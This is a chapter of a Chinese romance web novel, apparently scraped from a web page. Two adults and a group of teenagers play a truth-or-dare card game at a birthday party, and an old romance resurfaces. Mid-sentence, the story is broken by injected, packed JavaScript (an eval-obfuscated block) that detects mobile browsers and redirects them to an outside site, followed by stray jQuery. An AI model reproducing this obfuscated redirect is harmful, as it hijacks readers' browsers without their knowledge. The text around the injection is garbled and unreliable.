白炽灯骤然亮了起来,所有的情绪无所遁形。宋衿宜被灼目的光刺得阖上了眼,再睁开时,一双手虚浮地覆了上来,于眼角映下一片灰蒙蒙的阴影。
宋衿宜怔愣一瞬,用余光悄悄摸摸地瞥了沈惟康一眼。他的眼底幽深如潭,看不出一丝一毫的情绪。
秦如龄扬起笑容,眼角堆积了两道饱满的卧蚕:“哇噻,这么浪漫。”
老登挑了挑眉,欠嗖嗖地瘫着手调侃:“同学,同学的嘛。”
“啥意思啊,隔壁班同学吗?”秦如龄眼睛一溜,定定地落在两人身上。
“这是我哥哥和他朋友。”沈惟常看了眼僵直的两人,朝着秦如龄介绍。
“你哥哥长得和你不太像啊。”秦如龄踮起脚凑到沈惟常耳边,低声耳语。
“我哥哥长得像妈妈,好看。”沈惟常淡声道。
“你好看。”秦如龄明媚地朝他笑了一下,灵动的眼睛弯成了一条情绪充盈的缝。
秦如龄盘腿坐在了酒店的地上,开始切蛋糕。她切了两块递给沈惟康和宋衿宜:“第一块敬长辈。”
“......”两个格格不入的老年人无语凝噎,过了半晌才后知后觉地放下家长的架子,异口同声地说了句生日快乐。
沈惟康自顾自地把所有的奶油都捞给宋衿宜,后者翻了个白眼:“有病?”
“我不爱吃甜的。”沈惟康嘴硬道。
沈惟常嘴角下垂,眼神僵硬地看了哥哥一眼,暗暗吐槽了一句他真装,在家的时候,分明最爱吃甜的。
“是不爱吃还是为了把啤酒肚减下来?”在嘴毒刻薄上,宋衿宜向来天赋异禀。
“啤酒肚还是你这个酒鬼比我更容易得吧。”沈惟康抬眸对上她凌厉的眼神。
“......”宋衿宜无话可说。
沈惟常也悄悄摸摸地把奶油捞给秦如龄,还把上面的草莓尽数放在她盆里。他没有沈惟康这么装,是真的不爱吃甜的。
秦如龄悄悄凑近沈惟常,眼睛脉脉凝着他:“其实我不爱草莓蛋糕,我爱吃提拉米苏。”
“好,我记着了。”沈惟常垂眸看着她,睫毛歇落下一片浅淡的阴影。
周围的同学已经见怪不怪了,毕竟关于他俩的故事学校传什么的都有。
什么大小姐偏宠一人啦、什么青梅竹马搞纯爱啦、什么富家少爷为爱低头啦、甚至还有说少爷为爱做E的。
面对大家的谣传,饭桶一边干饭一边和大家解释,你们的当前要务是小升初,先去把那个啥小说先卸载了。
“玩游戏玩游戏。”老登拿出了包里的卡牌摊在桌子上。
沈惟康看着上面赫然的几个大字,又摆出了家长的架势:“你们才多大,就玩这种真心话大冒险这种禁忌类游戏。”
“有病吧你,你高中少玩了?”宋衿宜说。
猝不及防地被揭了短,沈惟康清了清嗓子:“我才没玩过几次。”
秦如龄眨巴着眼睛看着沈惟康:“哥哥,我们这是高中生版的,青少年模式,很健康的。”
“嗯,偶尔玩玩也可以。”沈惟康松了口。
游戏规则很简单,每个人分发一张卡牌,卡牌里藏着等会要完成的任务,谁先被猜透任务,或者谁最后完成任务,即为失败。
“长辈先抽。”秦如龄朝沈惟康摊平了手。
沈惟康拿了一张拍在宋衿宜那边,随后自己也抽了一张放在面前。
大家面面相觑,各怀心思。
沈惟康指节漫不经心地把弄着手上的卡牌,他瞥见了宋衿宜偷瞄的眼神,立刻端坐下来,把牌面放平。
秦如龄先发制人,给沈惟常喂了颗草莓。沈惟常摸了摸耳朵,不安地看了眼沈惟康,趁他扭头瞬间,立马叼走。
宋衿宜正巧接了个电话,寒暄了几句朝着电话那头状似随意地说了句:“我最喜欢吃西瓜了。”
西瓜容易弄脏手和脸,宋衿宜向来不碰。沈惟康哼笑一声,立马举报:“她任务是说这句喜欢吃西瓜。”
“......”,周围无数双眼睛定定凝着宋衿宜,一阵哑口无言。
范瞳略略停顿,喘了口气:“姐,你这太明显了。”
宋衿宜向来是游戏黑洞,摊开了牌面,认输:“任务失败。”
“抽。”沈惟康不由分说地把卡牌递给她。
宋衿宜随意抽了一张,摊在桌上,念了出声:“初吻在什么时候?”
沈惟康“啧”了声:“不是说青少年模式,你们青少年就玩这种?”
秦如龄耸了耸肩,一脸无辜:“插了几张成人版的,刚好被成年人抽到了。”
秦如龄朝着沈惟常使了个眼色,用眼神说了句你哥咋这么没眼力见,人家当事人还没说什么呢,他在这又唱又跳的。
宋衿宜往沙发上一靠,笑容清浅地扫了眼对面坐着的高中生:“六七八九十年了吧,早忘了。”
沈惟康的呼吸骤然变得短促,冷飕飕地剜了宋衿宜一眼,气得失语。
老登是个有眼力见的,看了眼沈惟康的反应,立马揶揄地问了下大家有没有完成任务的。
沈惟常环顾四周,语调平静:“我完成了。”
小耶睁圆了双眼:“你一句话没说,怎么完成的?”
“我的是被别人喂水果。”沈惟常轻轻地把牌面亮在桌板前,不疾不徐地说。
小耶无语凝噎,嘴角抿成一条僵直的直线:“秦岭,你也太不争气了吧,你的不会是给人喂水果吧。”
“不是,我的可是地狱难度,是帮忙擦口水。”
“......”沈惟常清了清嗓子,立马替自己辩驳,“我可没流口水啊。”
“嗯,这不我自己挤了点草莓汁抹到嘴唇上当口水。”
天花板上的吊灯微不可查地颤了一下,房间阒寂无声,无数双眼睛骤然僵滞,带着些打量的意味。
沈惟常看了眼哥哥,面色肉眼可见地泛了些潮红,他清了清嗓子,转移话题:“下一局吧。”
大家查看了牌面之后,各怀心思地靠坐在椅子上,眼神缓缓地游荡在每个人之间,颇带着些不怀好意的狡黠之色。
沈惟康踢了脚旁边的宋衿宜,莫名其妙地来了句:“诶,你喜欢吃草莓吗?”
“怎么?你还想喂我啊?”宋衿宜从兜里掏出口袋带上,“放心吧,你今天完不成任务了。”
“......”,范瞳锐评一句,“哥,你这也挺明显的。”
沈惟康大咧咧往后一靠,嘴硬道:“怎么可能这么简单?”
沈惟常淡淡地笑了一下,他知道哥哥是个藏不住心思的,无论什么都摆在台面上。
宋衿宜的腿一寸寸往沈惟康那边挪动,直到轻轻擦着他的裤子面料才停了下来。她学聪明了,只当是再寻常不过的偶然。
察觉到腿侧偶然擦过来的温度,沈惟康用余光瞥了宋衿宜一眼,后者淡然地像是压根不在乎这件事一样。他的眼睛微微绷直,望向周遭的人,事不关己地把手往沙发沿上一搭。
可宋衿宜却面不改色地把手覆了上来,只一下便移开。沈惟康长长吸了口气,胸腔微微起伏着,任由手这么放着。
“现在有多少人完成任务了?”宋衿宜轻描淡写问了句。
大家纷纷举起了手,只余下沈惟康和宋衿宜面面相觑。宋衿宜目光盈盈地看着沈惟康,明火执仗地用记号笔往沈惟康的脸上重重点了一下,随后便摘下口罩:“你输了。”
“你的任务是什么?”沈惟康不甘心地问了句。
“戳一下你的五官。”刚刚随意的剐蹭他的手不过是混淆视听罢了。
沈惟康轻轻擦了一下脸上的笔墨,墨渍洇开,晕染了他半边脸,顿时半晴半阴。
沈惟康骤然一震,掌心按着宋衿宜的后脑勺,眼疾手快地往她嘴里怼了一颗草莓。宋衿宜猛得推拒,未果,不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093643|195555||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
甘不愿地吃了下去。
她的手肘沉沉捶了一下沈惟康的胸膛,后者钝痛,可笑意却渐渐浮了起来,轻轻拍宋衿宜的背,帮她舒缓。
宋衿宜的指节狠狠嵌进沈惟康手背的皮肉里,目光铮铮地看向他:“你有病吧。”
“你输了,哪有人拿脸当五官的?还有,让你戳,不是让你拿记号笔戳,能不能文明一点?”沈惟康任由她掐着,一副小人得志的模样。
一群高中生看着这俩心智不太成熟的社会人,津津有味地吃起了蛋糕。
察觉到周围灼灼的视线,沈惟康拿过桌上的牌面,再一次摆在她面前:“抽。”
“我不抽,你输了。”宋衿宜攥紧拳头,往后撤了一步。
两方僵持不下,秦如龄公允地抬起来了自己的手臂:“不如举手表决?”
“行,”小耶点了点头,“我选姐姐赢。”
老登手掌摊平,指向了沈惟康:“我觉得还是哥吧。”
“我选姐姐。”秦如龄的睫毛轻轻扬起。
谁都不想成为做抉择的人,范瞳圆滑地选了沈惟康,最后选择权落到了沈惟常的手里。
一边是横眉冷对的哥哥,一边是神色寡淡的姐姐,沈惟常骑虎难下,只得匆匆避开沈惟康的眼神,缓缓地指了一下宋衿宜。
“我抽就我抽。”沈惟康眼神压迫地落在沈惟常的身上,一字一顿地说。
看了眼卡牌,沈惟康眉棱皱起,随后便摊开牌面,公之于众。
“选择在场的人喝一杯交杯酒。”小耶眼睛一亮,漆黑的眼眸倏然间汇聚了清亮的光。
七年前,沈惟康和宋衿宜倒是喝过一杯,不过这酒不吉利,俩人喝完没多久便断了交,不再联络。
沈惟康又开始挑刺:“不是青少年模式?你们是不是在耍我?”
秦如龄煞有介事地解释道:“只夹了几张成人版的,好巧,又被一个成年人抽走了。”
“你来?”沈惟康朝着沈惟常低声说了句,嗓音低沉,如同魔童在耳畔低语。
沈惟常认命地点了点头,不自觉地避开了哥哥令人窒息的压迫眼神。
这感觉太奇怪了,沈惟常忐忑不安。他自出生起,从来没和哥哥有过这么亲密的接触。沈惟康亦然,分明差了八岁,可他从小就对这个弟弟很冷漠,也从来没有抱过他。他们分享过同一颗心脏,却没有交换过彼此的心。
一瓶可乐在两人手肘间被灌了下去,可乐的气和沈惟康胸腔里堆积的气混合在一起,几乎是要撑满他整个胃。
“好了,差不多了。”宋衿宜看着他不经意瞥来的凌厉眼神,慢悠悠地说了句。
来自高三的彩蛋:
聚会里,几个人玩起了卡牌游戏。这一轮,宋衿宜又输了。她翻了下卡牌,上面狡猾地写着“选择在场任意一位异性喝交杯酒。”
她眼睛一溜溜地落在桌上的三个男生上,最终选择了角落里的陈竞泽。那是陈念姝朋友的弟弟,是张安全牌。
宋衿宜把那张卡牌滑到陈竞泽那边:“弟弟,我选你吧,可以直接拒绝,上面没说不能拒绝。”
“好。”陈竞泽把卡牌推了回去,“那下一轮?”
下一轮,宋衿宜这个游戏黑洞在几秒的停顿后又大脑宕机,结束了这轮游戏。
这次的卡牌更加狡猾:选择在场任意一位异性喝交杯酒,不可以选择之前选择过的。
宋衿宜一脸黑线,把卡牌塞在沈惟康的指缝里:“可以拒绝。”
“哦,我为什么要拒绝?”沈惟康欠嗖嗖地撇了撇嘴。
两人落座,他将宋衿宜拉过来,校服的布料摩擦着,他的小臂穿了过去。
宋衿宜觑了他一眼,使坏地将手肘一提,沈惟康的酒杯猛得一翻,酒液顺着喉结滑落,在他内搭的白色短袖上淌下一张扩散的蜘蛛网。
制造这张蜘蛛网的人正和他藕断丝连着,于是他胸口的蜘蛛网越织越大。